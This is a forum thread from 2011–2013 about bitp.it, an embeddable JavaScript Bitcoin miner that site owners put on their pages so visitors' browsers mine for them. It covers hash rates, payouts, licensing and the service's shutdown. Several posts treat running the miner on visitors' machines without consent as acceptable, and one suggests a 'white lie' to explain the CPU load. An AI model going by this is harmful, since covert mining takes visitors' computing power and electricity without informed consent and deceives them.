  • In order for the site owner to get any credit for work (not necessarily coins, but just acknowledgement of work), a given page viewer must remain on a page long enough for one "getwork" request to be complete.
  • In order for the site owner to get any coins (or fractional coins), the total sum of all site visitors must spend enough time on site pages to complete enough "getwork" requests to complete a "share" of work.
  • Completion of a share of work must be done within a "round" or an attempt by the pool to solve a block.

What I am trying to get at is an idea of is how much traffic a website would need in order to get any actual BitCoin credit. If the above are true, then small or low volume web sites would not have chance of earning any coins unless some sort of fractional share model is introduced.


The jsMiner does not work any different (conceptually) than a CPU or GPU miner, just slower.

With that in mind, I will try and answer your specific points.

#1) Even with CPU/GPU miners, rarely is the entire nonce range checked. Unless you are close to the 1 GHash/sec mark, you are probably not running fast enough to check all the nonce range before your miner "times out" and gets more work. Shares can be found without completely the entire nonce range. In fact, a share could technically be found on the first nonce tried. The same applies to the jsMiner.

#2) The sum of your workers is really going to be what plays into the shares found. As you can see on our home page, your browser probably gets between 4,000 hashes/sec and 11,000 hash/sec (give or take). Lets just say 10Khash/sec for easy math. You would need 100 users on a website for 1 second (each getting 10Khash/sec) to equal 1Megahash.

#3) That would be called a stale share, where a getwork request is made from an old block, a share is found, but by the time it's submitted the block chain has moved on. Our miner, like all miners, checks for work frequently... so the probability for a stale share is no greater or worse. Unless you are talking about long polling, but thats a different discussion.

I hope I made sense of that. The essence of it is that small sites, and sites where visitors do not stay around very long, will not see a high hash rate. Even our top payouts have been a few bit pennies per week.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: MZZM on June 07, 2011, 05:15:53 AM
So anybody got some results with web mining? I`ve got web-site with 6k visitors daily, but I don`t want to risk and integrate script without statistic.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: lowentropy on June 07, 2011, 05:30:32 AM
So anybody got some results with web mining? I`ve got web-site with 6k visitors daily, but I don`t want to risk and integrate script without statistic.

Unfortunately, 6k visitors a day is not enough to make a significant number of shares. Given average bounce time and hashrate for the visitors, it's the equivalent of having a single miner running all day at about 104 khps.

From my perspective (and keep in mind bitp.it was partially my idea :) ) the web mining experiment is on hold until WebCL or some other technology matures enough to increase the average browser's hashing capability.

But anybody who wants to mine for BTC and also stick with us (because we know you guys are awesome!) can sign up for the private beta of our upcoming pool!

http://bitp.it/beta


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: gnubert on June 07, 2011, 01:04:59 PM
Hmm,

visiting bitp.it with chromium directly leads to a 100% CPU load on one core.

Integrating the js code in my site and visiting it with chromium leads to a load of 5-30%

FF 3.6 produces 100% CPU load with the JS included on one core.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: PIO on June 09, 2011, 02:35:54 PM
I got a website with 2000-3000 visitors/day.
My stats looks like this:
KHPS - Last Hour: 0.15

Isn't that very low?


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: lowentropy on June 09, 2011, 02:39:38 PM
I got a website with 2000-3000 visitors/day.
My stats looks like this:
KHPS - Last Hour: 0.15

Isn't that very low?

Besides visitors per day, your hashrate also depends on how long those visitors remain on the site and their average browser hashing speed. For that level of traffic, 0.15 khps is still a little low, but keep in mind it is *only* measuring the last hour, and so that rate will fluctuate throughout the day.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: LeFBI on June 09, 2011, 09:18:51 PM
just made my first share.....FUCK YEAH! ;D
and it only took ~100 constant workers to achieve it
http://img155.imageshack.us/img155/1841/bitp.jpg
Ok, yes...javascript is slow. but a browser based miner will be pretty interesting in the future when webCL rolls out.

OR someone comes up with a fancy webGL hack for sha256.....anyone?


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: siteworks on June 09, 2011, 11:17:44 PM
I am very interested in checking this out.  I signed up , got my snippet of javascript, but no confirmation email or login nor password....  Is the outgoing mail problem happening again?

Thanks!


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: lowentropy on June 09, 2011, 11:21:50 PM
I am very interested in checking this out.  I signed up , got my snippet of javascript, but no confirmation email or login nor password....  Is the outgoing mail problem happening again?

Thanks!

We had some server difficulties earlier... apparently a server with 128MB of memory *can* serve 750 requests per second... it's just not recommended :)

If you PM me your client id (found in the script), I'll get you registered.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: LeFBI on June 10, 2011, 09:15:42 AM
We had some server difficulties earlier... apparently a server with 128MB of memory *can* serve 750 requests per second... it's just not recommended :)
[/quote]
Do you you use the same server for all the getwork requests from the JS Clients as well? I thought you use the amazonaws cloud for everything? I hope the server can handle another view hundred constant workers i'm intending to throw at you :)
But before i do that...some more statistics would be nice. For example accepted shares, number of current clients for each page, overall hashrate of the javascript pool, a graph with workers/hash rate during the last day/s would be nice too(so you can see fluctuation), stuff like that...


questions over questions:

Just out of curiosity, what is the current global hash rate of the js-pool and how many clients did it need?

The current getwork response from your server is ~600byte. that traffic can be reduced to ~300byte by using gzip. Of course this would increase cpu usage on the server, but did you try & compare this yet? I did set up my own little pool and tested it with ~200 constant workers. there wasn't much of difference in the server performance, but the traffic reduced as described.

I also tested the patch mrb suggested here (http://forum.bitcoin.org/index.php?topic=10718.0). I can confirm the speed increase by factor ~1.7. but i can't confirm the accuracy of the patch, i didn't go through the code or test it long enough to find a share. will you implement the patch?
there also is another JsMiner here (https://github.com/kr105rlz/Bitcoin-JavaScript-Miner) that seems to have a better performance than the current sha256 implementation.  The miner itself is alpha version and doesn't have any work distribution whatsoever but the sha algorithm seems to be faster(at least it was on my desktop).

And last but not least....statistically....how many shares do you need on bitp.it to get a balance of 0.00000001BTC?
During the last 12h my visitors were constantly mining with +80 to 180 kHash/s and generated 2 shares. but it still shows me 0.00000000BTC. I know 2 shares isn't much at all compared to a classic pool but i wonder how many shares it will need to actually generate something with the jsMiner, so i can increase the number of workers i throw at your pool...


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: lowentropy on June 10, 2011, 03:30:12 PM
Do you you use the same server for all the getwork requests from the JS Clients as well? I thought you use the amazonaws cloud for everything? I hope the server can handle another view hundred constant workers i'm intending to throw at you :)
But before i do that...some more statistics would be nice. For example accepted shares, number of current clients for each page, overall hashrate of the javascript pool, a graph with workers/hash rate during the last day/s would be nice too(so you can see fluctuation), stuff like that...

... snip ...

And last but not least....statistically....how many shares do you need on bitp.it to get a balance of 0.00000001BTC?
During the last 12h my visitors were constantly mining with +80 to 180 kHash/s and generated 2 shares. but it still shows me 0.00000000BTC. I know 2 shares isn't much at all compared to a classic pool but i wonder how many shares it will need to actually generate something with the jsMiner, so i can increase the number of workers i throw at your pool...

We're running on a single instance at the moment. At least for this web mining project, it would simply cost too much (i.e. more than $0) to scale to larger or multiple instances. We can handle a little more traffic... we recently adjusted the update interval to reduce the load some (if a miner finds a share though, it still submits it immediately).

I'm not sure what you mean by accepted shares - the shares we show you are accepted and part of a round on slush. Unlike an actual pool, however, we opted to only disburse BTC once a week, so your balance will only increase once a week on Saturdays. This is mostly because web mining as a whole is just too slow to justify real-time updates to balance.

The other ideas for features are definitely things we are planning to add, but at the moment we're pretty busy getting our own pool ready ;D

http://bitp.it/beta


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Antwan on June 10, 2011, 03:34:15 PM
Hi. Can 1 script be used on multiple domains?


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: lowentropy on June 10, 2011, 03:50:29 PM
Hi. Can 1 script be used on multiple domains?

Yep. The console page will show statistics separately for each domain you put it on.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: anujfr on June 11, 2011, 01:12:54 AM
can the script be on multiple pages on the same domain???


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on June 11, 2011, 01:44:01 AM
can the script be on multiple pages on the same domain???

Yes, there is no harm in that.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: lowentropy on June 11, 2011, 08:27:15 PM
Hi all, we're taking the site offline for maintenance and upgrades - I'll let you know when it's operational again. Sorry for the inconvenience.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Zyrkon on June 11, 2011, 10:51:40 PM
Even though FeFe doesn't share my point of few on browser-mining (because it might drain the power from Laptops), I think we need to improve on the bitp.it client. Doing some hashing with the CPU doesn't work even with dedicated mining anymore. I believe that the only way to do some efficient mining would be using webGl hashing (there is no popup for it either) with a low or middle Aggression factor. We would at least get some MHashes/s per client. Check out http://www.youtube.com/watch?v=rfQ8rKGTVlg .

Best wishes,
Zyrkon


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: lowentropy on June 11, 2011, 11:05:51 PM
Hi guys, bitp.it is back up.

Unfortunately, we are basically at capacity, so we have to turn off new registrations.

Anyone who has an account can still log in, and web miners will continue to work.

Thanks for all your support!


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: seleme on June 12, 2011, 12:21:56 AM
So, I missed this in few hours  :'(

Man, is there any chance you could accept me ? I have video site that gets around 5 millions UV annually and this would be fantastic, specially since those guys stay nice amount of time on the site while watching videos.

Please, please, please  ;D


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: lowentropy on June 12, 2011, 01:56:16 AM
So, I missed this in few hours  :'(

Man, is there any chance you could accept me ? I have video site that gets around 5 millions UV annually and this would be fantastic, specially since those guys stay nice amount of time on the site while watching videos.

Please, please, please  ;D

We really appreciate everyone's enthusiasm :D

Unfortunately, bitp.it does not make us any money, and the resources we have are just completely maxed out. I should also mention again that while web mining is a fun concept, javascript really is far too slow to make a useful miner, at least until WebCL mining comes of age and sees more widespread adoption.

To put this in perspective, bitp.it has made less than 1 BTC so far, and at the expense of being constantly hammered by 750 requests per second. One of our users even seems to have us integrated with an ad service, but even so, the payout is small.

The landscape for web mining will change significantly when javascript can reasonably expect to have direct access the the visitor's graphics card pipeline. We will definitely reinvest our time and money in expanding the bitp.it service once that happens.

Until then, any miners out there interested in helping us beta test our new pool are invited to sign up: http://bitp.it/beta

We wil be sending invites in batches over the next few weeks, and would love everyone's feedback in these early stages.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: tonto on June 12, 2011, 02:17:53 AM
I, for one, think that web visitors should at least be told what's going on, even if just a little white lie ("We're testing your CPU for blah blah blah...").  If I visited a website and noticed my CPU spike, you can bet I'd close that window and never come back (and possibly report to various malware entities).  Or at the very-very least, the home page should not have that script running, and only if they go further into your site.  A proper homepage needs to load fast, get the information to your visitors, or you're not going to have many visitors. 

Just try to think of the ethical side.  Also like mentioned earlier in the thread, maybe for registered/paying customers, the script is disabled (or give them the option to disable it).  Above all else, tell visitors what's going on, or you run the risk of being marked as malware and/or lawsuits.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: TheSeven on June 12, 2011, 02:28:01 AM
I just got 50KHash/s in Firefox 4.0.1, DOM worker mode on a Core i7 620M with an improved sha256 algorithm. The bitp.it frontpage gets like 2.3KHash/s on the same machine. That's a 2000% performance increase.
I'm putting this into public domain, hoping for some donations if it increases your earnings: http://pastie.org/2054699

DISCLAIMER: I have no idea whether this is bug free, as it isn't exactly trivial to find a share with a JS miner to check. It seemed to work fine for some demo data though.

Some stats:
Firefox 4.0.1, DOM worker: 50KHash/s
Firefox 4.0.1, UI thread: 20KHash/s (but only 15% CPU load due to 30 milliseconds of delay after every 1024 hashes)
IE 9.0.8112.16421, DOM worker: 13KHash/s (possibly no DOM worker support, so falling back to UI thread?)
IE 9.0.8112.16421, UI thread: 13KHash/s
Chrome 13.0.742.91, DOM worker: 12-81KHash/s (swinging badly, no idea why)
Chrome 13.0.742.91, UI thread: 9KHash/s


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: lowentropy on June 12, 2011, 02:40:48 AM
I just got 50KHash/s in Firefox 4.0.1, DOM worker mode on a Core i7 620M with an improved sha256 algorithm. The bitp.it frontpage gets like 2.3KHash/s on the same machine. That's a 2000% performance increase.
I'm putting this into public domain, hoping for some donations if it increases your earnings: http://pastie.org/2054699

While we appreciate your optimizing the code (and I will try and get this code included by default soon), you can't actually put it in the public domain... it is copyrighted and published under an open source license, which we retain, and which applies to any modifications. I'm sure you had only good intentions, I just wanted to make this clear.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: TheSeven on June 12, 2011, 10:01:51 AM
I just got 50KHash/s in Firefox 4.0.1, DOM worker mode on a Core i7 620M with an improved sha256 algorithm. The bitp.it frontpage gets like 2.3KHash/s on the same machine. That's a 2000% performance increase.
I'm putting this into public domain, hoping for some donations if it increases your earnings: http://pastie.org/2054699

While we appreciate your optimizing the code (and I will try and get this code included by default soon), you can't actually put it in the public domain... it is copyrighted and published under an open source license, which we retain, and which applies to any modifications. I'm sure you had only good intentions, I just wanted to make this clear.
I can still put the modifications into the public domain, as they aren't derived from anything. (I'm referring to the actual sha256 algorithm here, not the minor adaptations to the rest)
As far as I understand that should be perfectly compatible with jsMiner's license which is basically a disclaimer only anyway.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: lowentropy on June 12, 2011, 04:14:02 PM
I can still put the modifications into the public domain, as they aren't derived from anything. (I'm referring to the actual sha256 algorithm here, not the minor adaptations to the rest)
As far as I understand that should be perfectly compatible with jsMiner's license which is basically a disclaimer only anyway.

I'll make sure to separate the SHA implementation into a separate file and put that file under the public domain, then. Again, thanks for your help!  :D


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: TheSeven on June 12, 2011, 05:17:33 PM
I can still put the modifications into the public domain, as they aren't derived from anything. (I'm referring to the actual sha256 algorithm here, not the minor adaptations to the rest)
As far as I understand that should be perfectly compatible with jsMiner's license which is basically a disclaimer only anyway.

I'll make sure to separate the SHA implementation into a separate file and put that file under the public domain, then. Again, thanks for your help!  :D
You don't need to. Public domain means that you can do basically do what you want with it, including redistribution under non-public-domain terms.
My intention is just that everyone can cherrypick this algorithm without being tied to your copyright statement.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: LeFBI on June 15, 2011, 02:03:14 PM
thanks for your work TheSeven! :) but i think there's something wrong with the modification. when "workerDone(data)" is called on line 346, the data variable contains a string which is 96 byte shorter than it should be
instead of:
Quote
000000019151f35c7844f5d981233dcf95d6c72ba29d93b78079fb970000116400000000e97bf2a 8ccde95e524153f377a42151513dc343cf43da46222e5f756469ebfe34df8b3651a1d932f000000 0000000080000000000000000000000000000000000000000000000000000000000000000000000 0000000000080020000
it looks like:
Quote
469ebfe34df8b3651a1d932f0000000000000080000000000000000000000000000000000000000 0000000000000000000000000000000000000000080020000
i noticed this because all shares my users found during the last hours with your modded script got rejected :(
Quote
message: upstream RPC error
code: -4


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: hex on June 15, 2011, 09:51:19 PM
https://wiki.mozilla.org/Platform/GFX/WebCL

Looks like WebCL is not close :(


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on June 20, 2011, 05:01:20 AM
Just a quick update. We completed this weeks round, and payments have been sent to those of you that had (or exceeded) a 0.01 balance.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Endeavour79 on June 20, 2011, 05:38:16 AM
Hi..I have an account but maybe I am blind but where do I find the JavaScript to embed in my website?


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on June 20, 2011, 06:01:56 AM
Hi..I have an account but maybe I am blind but where do I find the JavaScript to embed in my website?

I don't believe we show that. It was in the original email we sent you, but that was the only place we exposed that.

If you PM me your email address I will look up your userID and PM you back your unique script.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: BitcoinPorn on June 21, 2011, 05:22:58 PM
I, for one, think that web visitors should at least be told what's going on, even if just a little white lie ("We're testing your CPU for blah blah blah...").  If I visited a website and noticed my CPU spike, you can bet I'd close that window and never come back (and possibly report to various malware entities).  Or at the very-very least, the home page should not have that script running, and only if they go further into your site.  A proper homepage needs to load fast, get the information to your visitors, or you're not going to have many visitors. 

Just try to think of the ethical side.  Also like mentioned earlier in the thread, maybe for registered/paying customers, the script is disabled (or give them the option to disable it).  Above all else, tell visitors what's going on, or you run the risk of being marked as malware and/or lawsuits.

^Everything should be above the board, people should be down with "Ad Free Internet"  I think this idea gets confused with a "Free Internet"

I hope new coders see this thread and contribute to this type of mining :)


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on July 02, 2011, 09:25:46 PM
Javascript is just too slow to mine bitcoins. The recent difficulty increases have made this an impractical idea. Couple that with the fact that WebCL is practically non-existant, and what you are left with is an ornithopter.

It is this reason that we started our own pool (https://pool.bitp.it) for people to use their own CPUs and GPUs to mine for bitcoins. It is also this same reason that effective July 9th, 2011 we will no longer be offering Javascript as even an option. All existing users are encouraged to switch to our pool.

We will leave the server side Javascript in-place, so you're existing websites will not attempt to fetch content that doesn't exist. However, the JS on our end will be gutted rendering it non-functional.

Just for recap:

  • We will NOT be discontinuing our pool
  • All users are encouraged to join our pool
  • July 9th will be the last day the Javascript stuff is functional
  • July 9th will be the last day we perform payouts


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: BitcoinPorn on July 03, 2011, 01:42:34 AM
Thanks for putting an announcement out there, sad to see it official official, especially with what seems to be new found interest in it (see this on reddit (http://www.reddit.com/r/Bitcoin/comments/ieaew/bitcoin_browser_mining_as_a_replacement_for_ads/)).   Glad you and whoever helped you out came and tried, hopefully someone else can pick up and find something that you were doing and add or change it to keep things going :)


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: neptop on July 07, 2011, 12:24:59 PM
It is very inefficient anyway, so I don't think there would be a lot of people using a JS based miner on their web pages. Yeah, maybe with the HTML5 stuff coming along, but that's just talk about the unpredictable future. On the other hand that's what BC is all about and most of us would be rich if I had predicted how BC evolved. ;)

Lol.... Sorry, I got a chuckle out of that one  ;D

This IS using that "HTML 5 future stuff"  ;)

Either way, we seem to have steered up quite the conversations on the Internet at large. I just got done reading over at ycombinator, and it looks like we've stirred up a hornest nest of discussions.
What the hell are you talking about? You do realize that HTML 5 is not finished by now and while some parts of standard came very fare there are many parts that are simply to do. Or did you just talk about the markup language itself? Sorry, this isn't meant to be an offense, but it sounds like you don't really have an idea about the way the W3C works (these days). There are _tons_ of proposals from many institutions potentially changing a lot of things, that's why I called unpredictable. Of course, it doesn't mean everything will be a module of HTML 5, but this doesn't mean they won't be implemented.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: btc_artist on November 01, 2011, 07:05:37 PM
Does anyone have the source code for the Javascript miner?  I'm interested in reading it to learn more of the coding ins and outs of writing a miner.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: BitcoinPorn on November 29, 2011, 10:58:25 PM
Litecoin coming in where Bitcoin devs seem to be lacking

The first version of the embeddable miner is ready. :)
I have written a short guide for webmasters interested in testing:
http://www.litecoinpool.org/embed


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: vv01f on April 17, 2012, 01:14:39 PM
just out of curiosity: Is that jsMiner still available open source somewhere? I mean with network-layer to connect some pool..


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: madmadmax on March 03, 2013, 06:29:01 PM
How (un)effective is this miner exactly? How much bitcoin does it give you per hour on average at the current moment? Also any links to the non-butchered script?


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: dimitry-js on June 30, 2013, 06:19:15 AM
Given that a large number of machines ( website users ) can potentially do a lot of computation, I have started working on a javascript miner ( not java ) which can take advantage of just-in-time compilation in the new browsers to achieve a high speedup compared to the existing javascript miners. I performed a lot of code optimization techniques and my preliminary results show more than 10X speed up compared to the best code that I found in internet. Please message me if you think this is something that might interest you in any way or if you have any insights.